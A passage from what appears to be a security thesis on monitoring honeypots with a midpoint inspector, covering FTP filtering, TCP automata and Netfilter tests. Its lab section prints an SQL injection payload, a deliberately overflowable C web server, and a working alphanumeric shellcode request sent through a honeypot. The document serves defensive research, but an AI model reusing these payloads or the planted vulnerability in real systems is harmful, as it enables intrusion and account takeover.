distribution of coefficient 1.2. After multiplying the coefficients given by the generator by 1024*100,
we obtain 100 files whose size vary from 100KB to 6MB. We choose vsftpd 15 to implement the FTP
service. We grant anonymous access to our clients. We implement their downloads with the wget16
15http://vsftpd.beasts.org/
16http://www.gnu.org/software/wget/
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Figure 2.17: Distribution of download bandwidth differences in DNS experiment with optimized config-
uration.
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Figure 2.18: Tunneled ftp filtering.
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Figure 2.19: Performance of the unauthorized active ftp client without filtering.
utility. We configure wget to use active FTP, to try twice before considering a download has failed, and
set a timeout of 10 s17. Here again, an error returns the -1 bandwidth.
The policy we implement is that the client with IP address “192.168.2.9” is allowed to do active FTP
downloads, and the client with the address “192.168.2.10” passive downloads. The downloads with the
address“192.168.2.10” must therefore all be dropped.
The rule described in Listing 2.8 specifies such a policy.
Listing 2.8: Ftp rule
IF ( name=idx2 , a dd r s = d e f a u l t , messy=yes , l o = 1 9 2 . 1 6 8 . 1 . 2 5 4 ) ; ;
INSP (L2N/ < e n c a p s u l a t i o n s > /Tcp / [
TPort ( c l _ a d d r = 1 92 . 1 6 8 . 2 . 9 , s r _ a d d r =192 . 1 68 . 1 0 . 1 1 , s r _ p o r t =21 ) /
Ftp ( f t p t = a c t i v e , d a t a _ ch=L2N/ < e n c a p s u l a t i o n s > /Tcp /
TPort ( c l _ a d d r = p r e v i o u s _ s e r v e r , s r _ a d d r = p r e v i o u s _ c l i e n t , c l _ p o r t =20 ,
s r _ p o r t = r e l a t e d _ s e r v e r ) / CSend ) |
TPort ( c l _ a d d r =192 . 1 6 8 . 2 . 1 0 , s r _ a d d r =192 . 1 68 . 1 0 . 1 1 , s r _ p o r t =21 ) /
Ftp ( f t p t = p a s s i v e , d a t a _ ch=L2N/ < e n c a p s u l a t i o n s > /Tcp /
TPort ( c l _ a d d r = p r e v i o u s _ c l i e n t , s r _ a d d r = p r e v i o u s _ s e r v e r ,
c l _ p o r t =1024 : : 65535 , s r _ p o r t = r e l a t e d _ s e r v e r ) / CReceive ) ] ) ; ;
The Figure 2.19 show the results obtained by the active client in .10 host, without Luth. With Luth,
all the unauthorized downloads report a−1 value, showing that the policy is correctly implemented. The
figures 2.20 and 2.21 show the performances of the filtering device.
17wget -t 2 -T 10 –no-passive-ftp <url> -O /dev/null
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We see that the handling of the creation of dynamic connection works, but needs to be optimized.
Indeed the downloads with Luth reach around 1MB/sec when the FTP downloads reach 20MB/s. To
reach this magnitude of speed, the migration of filtering computations to kernel space, and parallelization
seams mandatory, as the filtering tree grows with each new data channel. These problematics are left for
future work.
2.4 Conclusion of Chapter 2
We have presented in this chapter the tool we use to monitor malicious communications. The expres-
siveness of this midpoint inspection device enables to monitor up to our knowledge all Internet protocol
layerings, while providing correction and optimality checking. The DNS and FTP case studies show that
Luth, the userspace prototype of our midpoint inspection device correctly implements policies involving
20 iterations of a cyclic layering. Up to our knowledge other existing midpoint inspectors cannot handle
such policies.
There are however still some main and unresolved issues:
• The validation of the presented demonstrations by a proof-assistant.
• The analysis of the second version of the algorithm (the one with analyze_res functions). Among
others, in its current state, the safety of dynamically computed layerings is not statically guaran-
teed. The way web interaction have been typed in [67] or the great work done in [89] can provide
a way to statically verify the validity of dynamically computed layerings. Moreover, this last work
provides a solution to implement the inspect function without creating the universal type of states
and packets, and without using Generalized Algebraic Data Types (GADT) that are still not im-
plemented in for example the OCaml language. These two works are therefore worth studying as
Sebastien Mondet suggested it to me.
• The parallelization of the inspection algorithm.
• The demonstration of the correction of the overall implementation.
• The optimization of performances.
After having presented its performances on two different experiments, we are now ready to show
two real case studies. The first study addresses the monitoring of malware downloading honeypots.
This study is interesting because the policy to monitor these honeypots do not follow the classical: drop
potentially malicious packets, accept all the others, paradigm. Indeed, malicious packets should be
accepted so that the intrusion attempts are emulated by the malware downloading honeypot. However,
the download requests the honeypot generates can in fact be intrusion attempts towards third-party ADPS.
Therefore, such malicious download requests must be dropped. The Chapter 3 shows how Luth correctly
implements this original policy.
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3
Monitoring Malware Collection
“The moral is obvious. You can’t trust code that you did not totally create yourself. (Espe-
cially code from companies that employ people like me.)”. Ken Thompson.
This chapter first explains why malware collection should be monitored. To do so, we show how
malware downloading honeypots can be used as code injection attack proxies. The presented attacks
make the honeypots generate download requests, which are in fact code injection attacks. Indeed we
successfully inject and make specially developed vulnerable servers execute two different type of injected
codes:
• x86 code, what is usually called shellcode,
• SQL code, involved in SQL injection attacks.
By these attacks, we motivate the need for monitoring malware downloading honeypots. The moni-
toring of a malware downloading honeypot implies first, to let some malicious traffic go to the honeypot,
so that intrusion attempts are emulated. Then, the eventual malicious traffic towards third party ADPS
should be dropped. Said otherwise we need to implement quite an original policy:
• be paranoid enough to drop the sequences of packets that can lead to attacks on a third party
Automatic Data Processing System (ADPS),
• be permissive enough to accept the sequences of packets that make the honeypot emulate intrusions
and download malware.
The second section deals with this problem. We first describe the developed Midpoint Inspector (MI) by
taking a close look to the monitoring of TCP sessions’ establishment. Then we evaluate the actual number
of dropped and accepted packets together with the performances of the inspection. This evaluation is
done by means of an offline analysis on traffic dumps taken to record unmonitored honeypots’ sequence
of packets.
3.1 The Need for Monitoring Malware Collectors
This section aims at showing both the SQL an x86 code injection attacks presented in the introduction.
First, the honeypot software involved in the experiments are described: Nepenthes and PHP.HoP. Then
we show how we make:
• Nepenthes perform an SQL injection attack.
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• PHP.HoP perform an shellcode injection attack.
Among the different honeypots we presented in 1.2.3, we have chosen the Nepenthes platform [64]
to download malware. This honeypot emulates a set of vulnerabilities to extract the parameters sent by
an intruder to make the attacked computer download and execute the malware of its choice. The main
advantage of the Nepenthes honeypot is that it just stores the binary and does not execute it. Indeed, the
unsupervised execution of malware can probably lead to attacks against a third-party ADPS. Therefore,
by just storing the binary, the possible intrusions perpetrated by the emulation of the attack are restricted.
Trusting endhost software is what conducted to the apparition of distributed malicious activities in the
Internet. Therefore, we have been willing to check if downloading malware by means of a honeypot,
an endhost software, could conduct to a propagation of an attack. We performed a similar analysis on
the PHP.HoP [191] web-worm1 downloading honeypot too. Instead of auditing the emulation codes for
possible vulnerabilities, we audited how the download requests were computed to check if a third-party
could be attacked like that. After some investigations, we found a way to conduct two kind of intrusions
on customized servers we developed for this purpose: an SQL injection and a shellcode injection attack.
The way download requests are computed is more restricted in the PHP.HoP honeypot. Therefore we only
managed to send a shellcode injection with it. We managed to launch both attacks using the Nepenthes
honeypot. We present a summarized version of the attacks in the following sections. For more details
the reader is invited to read the technical report depicted in [139].
3.1.1 Making Nepenthes Launch an SQL Injection Attack
This section describes how we make Nepenthes generates an SQL injection attack that changes the
password of a user in a web application. The web application uses a database implemented by the
MySQL [24] Relational Database Management System (RDBMS). The table is created with the Listing
3.1.
Listing 3.1: Web application table
use f o r S q l I n j e c t i o n ;
CREATE TABLE u s e r s (
username CHAR( 1 0 ) ,
u s e r p a s swo rd CHAR( 1 0 ) ,
u s e r l a s t n ame CHAR( 1 0 )
) ;
INSERT INTO u s e r s ( username , u se rpa s sword , u s e r l a s t n ame )
VALUES ( ’ admin ’ , ’ a j 6 c h e : $ ’ , ’ ’ ) ;
The web application is written in PHP [30], one of the WebL we mentioned before (Section 1.1.1.3).
Listing 3.2: Web application code
/∗ . . . ∗ /
$userName=$_GET [ " name " ] ;
$o ldPas sword=$_GET [ " o l dP a s s " ] ;
$newPassword=$_GET [ " newPass " ] ;
1A specific kind of malware that exploit web applications vulnerabilities.
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$ s q l r e q u e s t = " upda t e u s e r s s e t u s e r p a s swo rd = ’ "
. $newPassword . " ’ where username = ’ "
. $userName . " ’ and u s e r p a s swo rd = ’ "
. $o ldPas sword . " ’ " ;
$ r e q u e s t = mysql_query ( $ s q l r e q u e s t )
o r d i e ( ’ I n v a l i d s q l r e q u e s t : ’ . $ s q l r e q u e s t ) ;
i f ( mysql_af fec ted_rows ( $ l i n k ) == 0) {
echo ’ I n v a l i d u s e r password or name ’ ;
}
e l s e {
echo ’ upda t e done ’ ;
}
/∗ . . . ∗ /
We finally implement this Web application using the wamp package installed on a Windows XP SP2
operating system. This package provides a web server: apache 2.2.6, a PHP 5.2.5 interpreter and the
MySQL 5.0.45. This application then listens on the IPv4 address IP1 port 80. Meanwhile we launch an
instance of Nepenthes on a GNU/Linux Debian 4.0r2 operating system on IP2. From another IP address,
we send the following request on a TCP socket to IP2 at TCP port 80.
‘ ‘GETwget IP1 / s q l i n j e c t i o n / upda t ePas sword . php ? newPass=poue t ’ \
/ ∗ ∗ / where / ∗ ∗ / username= ’ admin ’ /∗ ’ ’
When processing the request the application writes
" upda t e u s e r s s e t u s e r p a s swo rd = ’ poue t ’ / ∗ ∗ / where / ∗ ∗ / username =\
’ admin ’ /∗ ’ where username = ’ ’ and u s e r p a s swo rd = ’ ’ "
in the “$request” variable. Once the preprocessor used by the MySQL interpreter inside the mysql_query
function removes the commentaries marked with the “/*”, “*/” strings, the variable contains:
" upda t e u s e r s s e t u s e r p a s swo rd = ’ poue t ’ where username = ’ admin ’ "
. Finally the execution of this SQL query creates the situation described in Figure 3.1: the the password
of the “admin” user has changed from “aj6che:$” to “pouet”.
3.1.2 Making PHP.HoP Launch a Shellcode Injection Attack
In this section we show how we make PHP.HoP generate a shellcode injection attack. By this experiment
we show that PHP.HoP can be used as an intrusion proxy to make the vulnerable application execute the
code of our choice, like the download and execution of a malware. For visual reasons, we choose in this
case, to make it execute the “calc.exe” program which creates a new window unlike malware which try
to be more furtive.
The way download requests are computed by both honeypots implies to use alphanumeric shell-
codes [213]. Alphanumeric shellcodes are polymorphic shellcodes that rely on instructions that can be
expressed using alphanumeric bytes, i.e more or less all uppercase and lowercase letters, together with
digits. Some available software [22] provides solutions to build such alphanumeric shellcodes when
targeting applications using Windows SDK on x86-32 von Neumann machines [15]. That is why we
choose to develop our vulnerable application for this target. We therefore obtained an alphanumeric
shellcode that executes the calc.exe process. However the problem of transmitting a valid alphanumeric
address that references instructions resulting on the execution of our injected shellcode remains.
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Figure 3.1: Making Nepenthes launch an SQL injection.
To overcome this issue we have purposely injected a jmp %esp instruction2 at an alphanumerical
address on an executable page of the vulnerable process address space as described by the following
code:
/∗ . . . ∗ /
un s i gned cha r jmp_esp [2 ]={ 0 x f f , 0 xe4 } ;
/∗ . . . ∗ /
un s i gned long i n t new_addr ;
new_addr = ( un s i gned long i n t ) V i r t u a l A l l o c (NULL,
0x20204040 ,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE ) ;
add r = new_addr + 0x20203030 ;
ava i l ab l eAdd rNo tFound = ! c h e c k _ a d d r _ a v a i l a b l e ( add r ) ;
memcpy ( ( vo id ∗ ) addr , jmp_esp , 2 ) ;
The VirtualAlloc function of the Windows SDK enables one process to obtain a new page of the
size of our choice with the READ,WRITE,EXECUTE rights. The idea behind our heuristic is to allocate
a sufficient big memory region, so that we can find one address that could be expressed in the range
allowed by the alphanumeric filter 3.
2Which executes what is on top of the stack.
3Which is what check_addr_available checks.
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This heuristic worked and gave us a memory region of value 0x30523030, which in little endian and
ASCII, gives “00R0”. Now we know we have our jmp_esp in this address. Then we developed a buggy
web server vulnerable to a stack smashing exploit as described in Listing 3.3.
Listing 3.3: Web server code
/∗ . . . ∗ /
# de f i n e GET_PREAMBLE_SIZE 5
# de f i n e GET_REQUEST_SIZE 1
# de f i n e HTTP_REQUEST_MAX_SIZE 1000
i n t hand l eGe tReque s t ( char∗ r e q u e s t ) {
char bu f f [GET_REQUEST_SIZE ] ;
s t r c p y ( bu f f , r e q u e s t ) ;
re turn 1 ;
}
i n t hand l eNewCl i en t (SOCKET∗ pC l i e n t ) {
char i ncomingBuf f [HTTP_REQUEST_MAX_SIZE ] ;
i n t nbe rReadAl l =0 , nberRead =0;
nbe rReadAl l = r e cv (∗ pC l i e n t , incomingBuff , HTTP_REQUEST_MAX_SIZE , 0 ) ;
i ncomingBuf f [ nbe rReadAl l ]=0 x00 ; / / end of s t r i n g
/∗ . . . ∗ /
i f (memcmp( incomingBuff , "GET / " ,GET_PREAMBLE_SIZE)==0) {
p r i n t f ( "GET r e q u e s t " ) ;
p r i n t f (NEW_LINE ) ;
re turn hand l eGe tReque s t ( i ncomingBuf f+GET_PREAMBLE_SIZE ) ;
}
/∗ . . . ∗ /
}
i n t _ tmain ( i n t argc , _TCHAR∗ a rgv [ ] ) {
/∗ . . . ∗ /
whi le ( 1 ) {
i f ( ( c l i e n t = a c c e p t ( sd , ( s o ckadd r ∗)& c l i e n t _ a d d r ,
&s i z eo fSockAdd r I n ) ) == −1) {
break ;
}
hand l eNewCl i en t (& c l i e n t ) ;
c l o s e s o c k e t ( c l i e n t ) ;
}
/∗ . . . ∗ /
}
There the strcpy function in handleGetRequest will obviously smash the return address if the
request is too big. The details of a successful intrusion are illustrated in Figure 3.2.
67
CHAPTER 3, SECTION 3.1
overflowing
bytes
@jmp_esp
alphanum
shellcode
1.Before "return"
1.esp
2.Just after "return"
3.After "jmp esp"
1.eip -> "ret"
jmp_esp @jmp_esp
2.esp
2.eip
3. eip
val(eip)
=val(esp)
Legend
overflowing
bytes
@jmp_esp
alphanum
shellcode
jmp_esp
Figure 3.2: After overflowing the return address of the handleGetRequest function(1), when ex-
ecuting the corresponding ret instruction, our software actually executes the instructions located at the
jmp_esp address (2), which will then execute our alphanumeric shellcode located on the top of the
remaining stack (3). N.B: EIP: Extended Instruction Pointer, the PC we mentioned in Section 1.1.1.3 for
this Von Neumann machine. ESP: Extended Stack Pointer [15].
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Figure 3.3: Making PHP.HoP launch a stack smashing exploit.
To implement this scenario, we rebuilt the same configuration than the past one, unless we changed
Nepenthes with PHP.HoP and the wamp http server with our buggy server we compiled with visual
studio 2005 4. Finally the result of the sending of the request:
s h e l l c o d e =" TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI " + \
"YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0 " + \
"LYnLMTkpptUWiQ9ZdM5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowl " + \
" vaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtpLEiPd8VlNkqPVllKPp7lNMLK0h" +\
" tHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNipsPu8LX9n " +\
"MZvnv79oM7sSU1rLsSdnu5rX3UuPA"
jmp_esp=" 00R0"
r e q u e s t ="GET / h iphop / poue t . h tml ?wget%20 h t t p : / / 1 0 . 2 1 1 . 5 5 . 3 / "+"A" ∗5+\
jmp_esp+ s h e l l c o d e +" ; HTTP / 1 . 0 \ r \ n \ r \ n "
to the PHP.HoP instance can be seen in Figure 3.3: the calc.exe was successfully executed.
Even if such attacks, i.e. use a honeypot as an attack proxy-server, have not been seen in the Internet,
we do think it can be worthy to make the exercise of monitoring such communications.
4Of course disabling security cookies.
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3.2 Design of Necessary Components to Monitor Malware Downloading
Honeypots
This section aims at showing how we use Luth to implement an acceptable compromise between dropped
and accepted packets when monitoring the Nepenthes honeypot’s network communications. When in-
specting the involved packets, we differentiate two different situations:
• Sessions towards the servers implemented by the honeypot, like intrusion attempts.
• Sessions where the honeypot implements clients talking to third party servers, like some download
requests.
In the first case, malicious client packets should be accepted to allow the intrusion emulation. In the
second case, malicious client packets should be dropped, to prevent the attacking of third-party ADPS.
The first section illustrates how we implement this compromise when analyzing TCP session estab-
lishment segments. Indeed some of the intrusion attempts emulated by the honeypot contain malicious
TCP segments that must be accepted. However, we should prevent the malicious TCP segments from
download requests. Therefore a section deals with the two different TCP MI we developed: MTCP that
allows some malicious segments, and TCP that implements a non malicious midpoint TCP stack.
The last section shows how we monitor the client download requests made by the honeypot by
describing the Ftp, Http, Tftp and Link MI-s.
3.2.1 TCP and MTCP MI-s
Malware trying to attack these honeypots need first to detect the presence of a potentially vulnerable
service. To do so, most of the time, they perform an exhaustive research on some part of the IP address
space. This can be done for example, by starting with the first address, trying the second, etc. However,
all the deduced IP addresses do not host a potentially vulnerable service. Therefore, before trying to
launch an attack, it could be interesting to reduce the number of addresses to attack. This job is usually
called scanning. The need for scanning can be justified by two arguments:
1. Deducing a host is potentially vulnerable is computed faster than performing the intrusion and
checking it worked. Taking into account that the number of addresses to try is consequent, this
strategy greatly reduces the time to perpetrate successful intrusions on all the vulnerable servers in
the chosen IP address space.
2. Considering that some systems could detect the launching of such an attack, it is more furtive to
reduce the number of launched intrusions.
The way endpoints protocols should or must behave in the Internet is specified by means of Request
For Comments (RFC) documents. The way the TCP protocol should behave is therefore described in
an RFC too [35]. Most of the time, for performance reasons, such scanning is performed by talking
in non RFC compliant ways with the potential TCP server on the scanned IP address. This creates a
problem for the design of TCP MI-s. Indeed, an RFC compliant TCP MI drops such non compliant
messages and therefore, prevents such messages to reach the scanned TCP server. However, without
scanning segments, the honeypot will not be selected in the addresses to send the intrusion. Therefore,
the honeypot will not emulate the behaviour of a successfully attacked server, and will not download the
related malware. However, a TCP MI that allows scanning patterns will make a non honeypot server
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Figure 3.4: Hello Mealy Machine
visible to such malware. That’s why we chose to design two different MI-s, the RFC compliant one TCP
MI, and the one allowing scanning messages we call Malicious TCP MI (MTCP).
The difference in both MIs resides in the way they monitor TCP sessions establishments.
3.2.1.1 TCP MI Automata
Let us illustrate the way TCP establishes and closes its connections according to its standard mealy
machine depicted in the RFC 793. A mealy machine is a six-tuple (Q,Σ,Γ,δ,γ,q0), where:
• Q is a set representing the states of the machine,
• q0 ∈ Q a start state,
• Σ a set called input alphabet,
• Γ a set called output alphabet,
• δ is a transition function defined in Q×Σ→ Q,
• γ is an output function defined in Q×Σ→ Γ.
The machine ({Quiet,Wait_Hi,Hi_Received},
{Start,Timeout,Hi},{Hello,How are you},γ_s,δ_s,Quiet) with
• γ_s(Quiet,Start) =Wait_Hi,
• δ_s(Quiet,Start) = Hello,
• γ_s(Wait_Hi,Hi) = Hi_Received,
• δ_s(Wait_Hi,Hi) = How are you,
• γ_s(Wait_Hi,Timeout) =Wait_Hi,
• δ_s(Wait_Hi,Timeout) = Hello,
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Last_Ack
End
?Ack_Of_Fin/!-
Close_Wait
?Close/!Fin
Time_Wait
?Timeout=2MSL/!-
Closing
?Ack_Of_Fin/!-
Fin_Wait_2
?Fin/!Ack_Of_Fin
Fin_Wait_1
?Fin/!Ack_Of_Fin ?Ack_Of_Fin/!-
Estab
?Fin/!Ack_Of_Fin ?Close/!Fin
Syn_Sent
?Syn_And_Ack_Of_Syn/!Ack_Of_Syn Syn_Rcvd
?Syn/!Ack_Of_Syn
?Close/!Fin
?Ack_Of_Syn/!-
Listen
?Close/!-
?Send/!Syn
?Syn/!Syn_And_Ack_Of_Syn
Init
?Active_Open/!Syn
?Passive_Open/!-
Figure 3.5: TCP standard
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is depicted in Figure 3.4. The machine in Figure 3.5 is the one depicted in TCP’s RFC5. The transitions
on this machine are of two kinds:
• network messages: {Syn,Ack_Of_Syn,Syn_And_Ack_Of_Syn,Fin,Ack_Of_Fin},
• non network messages, which are primitives used to give an upperlayer a way to interact the
TCP stack: {Passive_Open,Active_Open,Send,Close} together with a timeout event {Timeout =
2MSL}.
This machine, even if designed for a client/server model, models both clients and servers behaviours.
Indeed, this can be seen as an early step towards nowadays popular peer2peer communication models,
where no distinction is done among the entity sending the first message, the client, and the one waiting
for messages, the server. To inspect TCP connections setups, the most reasonable solutions for the
TCP MI is to use a mealy machine too. To make a distinction between client and server’s messages,
we prefix each messages sent by their senders name, i.e. instead of calling a Syn sent by a client, we
call it Client_Syn. To have an understanding of the situations that can arise, let us take the example of
a client trying to establish a connection to a server, which is asked to close before having reached the
ESTABLISHED state as depicted in Figure 3.6. To do so, among others, we need to answer the following
question: after having forwarded a Client_Syn should the midpoint drop a Server_Fin coming from the
server ? To know what Netfilter, the framework implementing the firewall of the GNU/Linux operating
system thinks about it, we use the Scapy packet forging tool [42] to create the client and server software
depicted in Listings 3.5 and 3.4.
Listing 3.4: Scapy server
from scapy import ∗
def t c p _mon i t o r _ c a l l b a c k ( pk t ) :
t c p =pk t . g e t l a y e r ( ’TCP ’ )
i p =pk t . g e t l a y e r ( ’ IP ’ )
i f i p and t c p and ( t c p . d p o r t ==2002) :
nseq =1
nack= t c p . seq +1
n s r c = i p . d s t
n d s t = i p . s r c
n s p o r t = t c p . d p o r t
n dpo r t = t c p . s p o r t
i p1=IP ( s r c =ns rc , d s t = n d s t )
t c p1=TCP( s p o r t = n spo r t , d p o r t =ndpor t , seq=nseq +1 , ack=nack , f l a g s = ’F ’ )
i p2=IP ( s r c =ns rc , d s t = n d s t )
t c p2=TCP( s p o r t = n spo r t , d p o r t =ndpor t , seq=nseq , ack=nack , f l a g s = ’SA ’ )
send ( i p1 / t c p1 )
send ( i p2 / t c p2 )
def run ( ) :
s n i f f ( i f a c e =" e t h1 " , p rn= t c p _mon i t o r _ c a l l b a c k , s t o r e =0 , coun t =10)
run ( )
5To have a more easily understandable view of the machine, we have split the CLOSED state into Init and End state
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?Active_Open/
!Client_Syn
?Server_Syn_and_Ack/
!Client_Ack_Of_Syn
?Server_Fin/
!Client_Ack_of_Fin
?Close/
!Client_Fin
?Server_Ack_Of_Fin/
!-
?Passive_Open/
!-
?Client_Syn/
!Server_Syn_And_Ack
?Close/
!Server_Fin
?Client_Ack_of_Fin/
!-
?Server_Fin/
!Server_Ack_Of_Fin
Figure 3.6: TCP midpoint automata.
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Listing 3.5: Scapy client
# ! / u s r / b i n / env py thon
import sy s
from scapy import ∗
def t c p _mon i t o r _ c a l l b a c k ( pk t ) :
t c p =pk t . g e t l a y e r ( ’TCP ’ )
i f t c p :
pr in t t c p . summary ( )
def run ( ) :
send ( IP ( d s t =" 1 92 . 1 6 8 . 1 0 . 1 6 " ) / TCP( d po r t =2002 , f l a g s = ’S ’ ) )
s n i f f ( i f a c e =" e t h3 " , p rn= t c p _mon i t o r _ c a l l b a c k , s t o r e =0 , coun t =2)
run ( )
The client written in Scapy sends aClient_Syn to the server in 192.168.10.16 on port 2002 and waits
for incoming segments. The server, after having received theClient_Syn, sends a Server_Fin, and then a
Server_Syn_And_Ack_O f_Syn. The two endpoints are interconnected by a router6, which first forwards
all the packets. The observation of the packets received by the client using the tcpdump traffic dumper
gives the following result:
11 : 26 : 27 . 595902 IP 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a > 1 9 2 . 1 6 8 . 1 0 . 1 6 . 2 0 0 2 : S 0 : 0 ( 0 )
11 : 26 : 27 . 625104 IP 192 . 1 6 8 . 1 0 . 1 6 . 2 0 02 > 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a : F 2 : 2 ( 0 )
11 : 26 : 27 . 661081 IP 192 . 1 6 8 . 1 0 . 1 6 . 2 0 02 > 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a : S 1 : 1 ( 0 ) ack 1
The other experiment is conducted by asking the Netfilter firewall to inspect, among others, the TCP
connection establishments. This firewall has chosen to encode all the different protocol statefullness into
a single set of tokens: ESTABLISHED, NEW , RELATED and INVALID. The INVALID token means
that a packet does not match a normal behaviour of the protocol stack. The first rule we implement is the
following:
∗ f i l t e r
: INPUT ACCEPT [1188072 :148255333]
:FORWARD DROP [ 1 : 4 0 ]
:OUTPUT ACCEPT [1261742 :197788100]
−A FORWARD − i e t h1 −o e t h0 −p t c p −m tcp −−t cp−f l a g s SYN SYN − j ACCEPT
−A FORWARD − i e t h0 −o e t h1 −p t c p −m s t a t e
−− s t a t e INVALID ,NEW,RELATED, ESTABLISHED − j ACCEPT
We launch the client and servers again and observe that the same packets are received by the client:
11 : 26 : 27 . 595902 IP 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a > 1 9 2 . 1 6 8 . 1 0 . 1 6 . 2 0 0 2 : S 0 : 0 ( 0 )
11 : 26 : 27 . 625104 IP 192 . 1 6 8 . 1 0 . 1 6 . 2 0 02 > 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a : F 2 : 2 ( 0 )
11 : 26 : 27 . 661081 IP 192 . 1 6 8 . 1 0 . 1 6 . 2 0 02 > 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a : S 1 : 1 ( 0 ) ack 1
6There is no system-call available the GNU/Linux operating system to shutdown the TCP stack. Therefore, even if the
segments sent with Scapy are grabbed by the “sniff” function, the TCP stack will receive them too. Moreover, because no
application has been registered to handle the messages related to the TCP server port 2002 by means of “bind” and “listen”
system-calls, the TCP stack will generate an RST segment after receiving all the messages sent by the other host with Scapy.
Therefore, so that the TCP stack of both client and server does not send these RST segments, we add iptables rules in both
endpoints to DROP them. For example in the server: iptables -A OUTPUT -o eth1 -p tcp -m tcp –sport 2002 –tcp-flags RST
RST -j DROP.
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We configure then the following second Netfilter rule that drops the previously accepted packets
considered as INVALID (by suppressing the INVALID state in the state option of the rule).
∗ f i l t e r
: INPUT ACCEPT [999917 :124200639]
:FORWARD DROP [ 1 : 4 0 ]
:OUTPUT ACCEPT [1071348 :170388728]
−A FORWARD − i e t h1 −o e t h0 −p t c p −m tcp −−t cp−f l a g s SYN SYN − j ACCEPT
−A FORWARD − i e t h0 −o e t h1 −p t c p −m s t a t e
−− s t a t e NEW,RELATED, ESTABLISHED − j ACCEPT
We launch for a last time, the client and servers again and we observe the packets received by the
client:
11 : 29 : 30 . 145213 IP 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a > 1 9 2 . 1 6 8 . 1 0 . 1 6 . 2 0 0 2 : S 0 : 0 ( 0 )
11 : 29 : 30 . 241349 IP 192 . 1 6 8 . 1 0 . 1 6 . 2 0 02 > 1 9 2 . 1 6 8 . 2 . 9 . f t p−d a t a : S 1 : 1 ( 0 ) ack 1
We can see that the Server_Fin segment has been dropped by Netfilter, meaning that it considers this
packet as INVALID. However, as depicted in [78], this arbitrary choice can be discussed. We should re-
mind that as described in Figure 2.4, due to possible packet loss and reorderings, the sequence of packets
seen by midpoints are different from the one received by the endoint. Indeed, by quoting the Figure 3.6,
after receiving the Client_Syn, the server sends a Server_Syn_And_Ack. Let us say the server receives
a Close event and therefore sends a Server_Fin. Server_Fin and Server_Syn_And_Ack are now in the
network. Let us imagine Internet reorders both messages before reaching the midpoint. That way mid-
point sees Server_Fin before Server_Syn_And_Ack_Of_Syn, the same situations we presented using
the client and server written in Scapy. Let us say that unlike the situation arose with the second Net-
filter configuration rule, the midpoint forwards them. Server_Fin and Server_Syn_And_Ack_Of_Syn
are in the way to the client. Let us say the network reorders them once again, and that the latter re-
ceives Server_Syn_And_Ack_Of_Syn and Server_Fin. In this situation, the client continues its standard
behaviour, which argues for a positive answer to the first question: for interoperability reasons, the mid-
point should forward a Server_Fin after having forwarded aClient_Fin.
The skeptical reader could think this double reordering is a very peculiar case which will probably
never happen in the Internet. For these reasons, one could say that it could reasonably be neglected.
We’d like here again to make an analogy with similar reasonings that conducted to the developing of
software bugs. Let us say a computer scientist writing the lines of a program that reads a username from
an input accessible by any one, starts thinking: “Do I have to check the boundaries of the buffer when
writing the input username on it ? What kind of person will enter a name with more than 1024 letters
? Well probably no one, so I’d better not make the complicated verifications related to the boundaries
of my buffer and focus my work on other “real” problems .” Indeed, the great majority of developers
(me included), before understanding the functioning of “buffer overflow” code injection attacks, make
similar reasonnings. But not taking these a priori improbable cases into account, makes some software
vulnerable to intrusion attacks, which makes us strongly question the validity of such argumentation.
Moreover, the reader should notice that this peculiar case has been found by manually exploring one
of the cases computed by the solution we present later. Perhaps, the a-priori scarcity of such situations
will be questioned too after counting the number of such unlikely situations.
To sum up, the problems illustrated by the inspection of TCP connection establishment is just a
particular case of the side effects an arbitrarily computed midpoint inspection algorithm can create. For
example in [214], Van Rooij showed that neglecting these problems when inspecting TCP’s control flow
algorithm from a midpoint, conducts to deadlock-ed TCP sessions. That’s why instead of computing
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M E1E0
A0
E0->M:m M->E1:m
E1->M:mM->E0:m
A1AM
Figure 3.7: Model of inspection actors.
arbitrary TCP mealy machines, we have used the generic solution proposed by Bidder-Senn et. al. [78].
The latter study proposes to synthesize the midpoint mealy machine, by analyzing two Mealy machines,
which model endpoints behaviour.
As depicted in Figure 3.7, in this model the end hosts E0,E1 are interconnected to the midpoint M
by four different pipes. The behaviour of both endpoints is driven by two Mealy machines, one for E0,
called A0 = (Q0,Σ0,Γ0,δ0,γ0,q0,1) and another for E1, called A1 = (Q1,Σ1,Γ1,δ1,γ1,q1,1) with Σ0 = Γ1,
Σ1 =Γ0. The alphabet of both input and output messages are the network messages they send and receive,
i.e. Client_Syn, Server_Fin, Server_Syn_And_Ack_Of_Syn . . . , together with the empty element ’−’.
Definition 8 The empty element ’−’ models:
• a transition based on non network events, like timeouts, software calls,. . .
• a transition that does not output a network message.
The endpoint tracks the messages in the network with a multiset net ⊆ ℘(S) where
S = {X → Y : m|X ,Y ∈ {E0,E1,M},X 6= Y,m ∈ (Σ0 ∪ Γ0)} represents the messages that transit in
the four pipes. The automata of the midpoint, which decides whether to forward or drop a packet, is
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synthesized first by guessing in what states both the endpoint and the network are. Then, it chooses
to forward only the messages that were predicted. Going back to mathematics, the midpoint mealy
machine is constructed like this:
AM = (QM,ΣM,ΓM,λM,δM,q0,M)
QM = P(Q0×Q1×net)
ΣM = {E0 →M : a|a ∈ (Γ0\{−})}∪{E1 →M : a|a ∈ (Γ1\{−}}
ΓM = {M→ E0 : a|a ∈ (Σ0\{−})}∪{M→ E1 : a|a ∈ (Σ1\{−}}∪{−}
qM,1 = {(q0,1,q1,1,{})}
The δM function, depends of the following notion
succ(qm) =
[
q∈qM
[
(M→E0:m1)∈netM
[
(M→E1:m4)∈netM
[
msg∈netM
{(q0,q1,netM), Nothing happened yet
 3.1
(q0,q1,netM\{msg}), Message lost
 3.2
(δ0(q0,m1),q1,(netM\{M→ E0 : m1})∪m2), E0 takes one message
 3.3
